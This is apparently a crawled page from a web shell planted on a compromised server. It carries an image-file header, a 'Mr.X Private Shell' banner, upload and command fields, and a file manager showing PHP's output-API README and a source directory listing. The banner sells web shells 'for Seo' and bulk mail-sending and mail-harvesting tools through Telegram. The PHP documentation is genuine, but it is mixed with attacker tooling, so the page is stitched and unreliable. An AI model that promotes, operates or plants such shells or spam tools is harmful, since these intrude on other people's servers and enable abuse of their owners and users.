����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
$Id: README.NEW-OUTPUT-API 219039 2006-08-30 07:39:09Z mike $


API adjustment to the old output control code:

	Everything now resides beneath the php_output namespace, 
	and there's an API call for every output handler op.

	Checking output control layers status:
		// Using OG()
		php_output_get_status(TSRMLS_C);

	Starting the default output handler:
		// php_start_ob_buffer(NULL, 0, 1 TSRMLS_CC);
		php_output_start_default(TSRMLS_C);

	Starting an user handler by zval:
		// php_start_ob_buffer(zhandler, chunk_size, erase TSRMLS_CC);
		php_output_start_user(zhandler, chunk_size, flags TSRMLS_CC);

	Starting an internal handler whithout context:
		// php_ob_set_internal_handler(my_php_output_handler_func_t, buffer_size, "output handler name", erase TSRMLS_CC);
		php_output_start_internal(handler_name, handler_name_len, my_php_output_handler_func_t, chunk_size, flags TSRMLS_CC);

	Starting an internal handler with context:
		// not possible with old API
		php_output_handler *h;
		h = php_output_handler_create_internal(handler_name, handler_name_len, my_php_output_handler_context_func_t, chunk_size, flags TSRMLS_CC);
		php_output_handler_set_context(h, my_context, my_context_dtor);
		php_output_handler_start(h TSRMLS_CC);

	Testing whether a certain output handler has already been started:
		// php_ob_handler_used("output handler name" TSRMLS_CC);
		php_output_handler_started(handler_name, handler_name_len TSRMLS_CC);

	Flushing one output buffer:
		// php_ob_end_buffer(1, 1 TSRMLS_CC);
		php_output_flush(TSRMLS_C);

	Flushing all output buffers:
		// not possible with old API
		php_output_flush_all(TSRMLS_C);

	Cleaning one output buffer:
		// php_ob_end_buffer(0, 1 TSRMLS_CC);
		php_output_clean(TSRMLS_C);

	Cleaning all output buffers:
		// not possible with old API
		php_output_clean_all(TSRMLS_C);

	Discarding one output buffer:
		// php_ob_end_buffer(0, 0 TSRMLS_CC);
		php_output_discard(TSRMLS_C);

	Discarding all output buffers:
		// php_ob_end_buffers(0 TSRMLS_CC);
		php_output_discard_all(TSRMLS_C);

	Stopping (and dropping) one output buffer:
		// php_ob_end_buffer(1, 0 TSRMLS_CC)
		php_output_end(TSRMLS_C);

	Stopping (and dropping) all output buffers:
		// php_ob_end_buffers(1, 0 TSRMLS_CC);
		php_output_end_all(TSRMLS_C);

	Retrieving output buffers contents:
		// php_ob_get_buffer(zstring TSRMLS_CC);
		php_output_get_contents(zstring TSRMLS_CC);

	Retrieving output buffers length:
		// php_ob_get_length(zlength TSRMLS_CC);
		php_output_get_length(zlength TSRMLS_CC);

	Retrieving output buffering level:
		// OG(nesting_level);
		php_output_get_level(TSRMLS_C);

	Issue a warning because of an output handler conflict:
		// php_ob_init_conflict("to be started handler name", "to be tested if already started handler name" TSRMLS_CC);
		php_output_handler_conflict(new_handler_name, new_handler_name_len, set_handler_name, set_handler_name_len TSRMLS_CC);

	Registering a conflict checking function, which will be checked prior starting the handler:
		// not possible with old API, unless hardcoding into output.c
		php_output_handler_conflict_register(handler_name, handler_name_len, my_php_output_handler_conflict_check_t TSRMLS_CC);

	Registering a reverse conflict checking function, which will be checked prior starting the specified foreign handler:
		// not possible with old API
		php_output_handler_reverse_conflict_register(foreign_handler_name, foreign_handler_name_len, my_php_output_handler_conflict_check_t TSRMLS_CC);

	Facilitating a context from within an output handler callable with ob_start():
		// not possible with old API
		php_output_handler_hook(PHP_OUTPUT_HANDLER_HOOK_GET_OPAQ, (void *) &custom_ctx_ptr_ptr TSRMLS_CC);

	Disabling of the output handler by itself:
		//not possible with old API
		php_output_handler_hook(PHP_OUTPUT_HANDLER_HOOK_DISABLE, NULL TSRMLS_CC);

	Marking an output handler immutable by itself because of irreversibility of its operation:
		// not possible with old API
		php_output_handler_hook(PHP_OUTPUT_HANDLER_HOOK_IMMUTABLE, NULL TSRMLS_CC);

	Restarting the output handler because of a CLEAN operation:
		// not possible with old API
		if (flags & PHP_OUTPUT_HANDLER_CLEAN) { ... }

	Recognizing by the output handler itself if it gets discarded:
		// not possible with old API
		if ((flags & PHP_OUTPUT_HANDLER_CLEAN) && (flags & PHP_OUTPUT_HANDLER_FINAL)) { ... }


Output handler hooks

	The output handler can change its abilities at runtime. Eg. the gz handler can
	remove the CLEANABLE and REMOVABLE bits when the first output has passed through it;
	or handlers implemented in C to be used with ob_start() can contain a non-global
	context:
		PHP_OUTPUT_HANDLER_HOOK_GET_OPAQ
			pass a void*** pointer as second arg to receive the address of a pointer
			pointer to the opaque field of the output handler context
		PHP_OUTPUT_HANDLER_HOOK_GET_FLAGS
			pass a int* pointer as second arg to receive the flags set for the output handler
		PHP_OUTPUT_HANDLER_HOOK_GET_LEVEL
			pass a int* pointer as second arg to receive the level of this output handler
			(starts with 0)
		PHP_OUTPUT_HANDLER_HOOK_IMMUTABLE
			the second arg is ignored; marks the output handler to be neither cleanable
			nor removable
		PHP_OUTPUT_HANDLER_HOOK_DISABLE
			the second arg is ignored; marks the output handler as disabled


Open questions

	Should the userland API be adjusted and unified?
	
	Many bits of the manual (and very first implementation) do not comply
	with the behaviour of the current (to be obsoleted) code, thus should
	the manual or the behaviour be adjusted?

END

Filemanager

Name Type Size Permission Actions
CODING_STANDARDS File 11.7 KB 0644
CREDITS File 91 B 0644
INSTALL File 93.5 KB 0644
LICENSE File 3.14 KB 0644
NEWS File 538.74 KB 0644
README.EXT_SKEL File 6.84 KB 0644
README.GIT-RULES File 4.91 KB 0644
README.MAILINGLIST_RULES File 3.35 KB 0644
README.NEW-OUTPUT-API File 5.45 KB 0644
README.PARAMETER_PARSING_API File 7.47 KB 0644
README.REDIST.BINS File 20.43 KB 0644
README.RELEASE_PROCESS File 12.29 KB 0644
README.SELF-CONTAINED-EXTENSIONS File 4.97 KB 0644
README.STREAMS File 15.02 KB 0644
README.SUBMITTING_PATCH File 7.83 KB 0644
README.TESTING File 6.52 KB 0644
README.TESTING2 File 4.84 KB 0644
README.UNIX-BUILD-SYSTEM File 4.16 KB 0644
README.WIN32-BUILD-SYSTEM File 109 B 0644
README.input_filter File 5.31 KB 0644
README.md File 1.44 KB 0644
README.namespaces File 5.9 KB 0644
TSRM_LICENSE File 1.28 KB 0644
ZEND_CHANGES File 36.29 KB 0644
ZEND_LICENSE File 2.75 KB 0644
php.ini-development File 71.93 KB 0644
php.ini-production File 71.96 KB 0644
regex_COPYRIGHT File 950 B 0644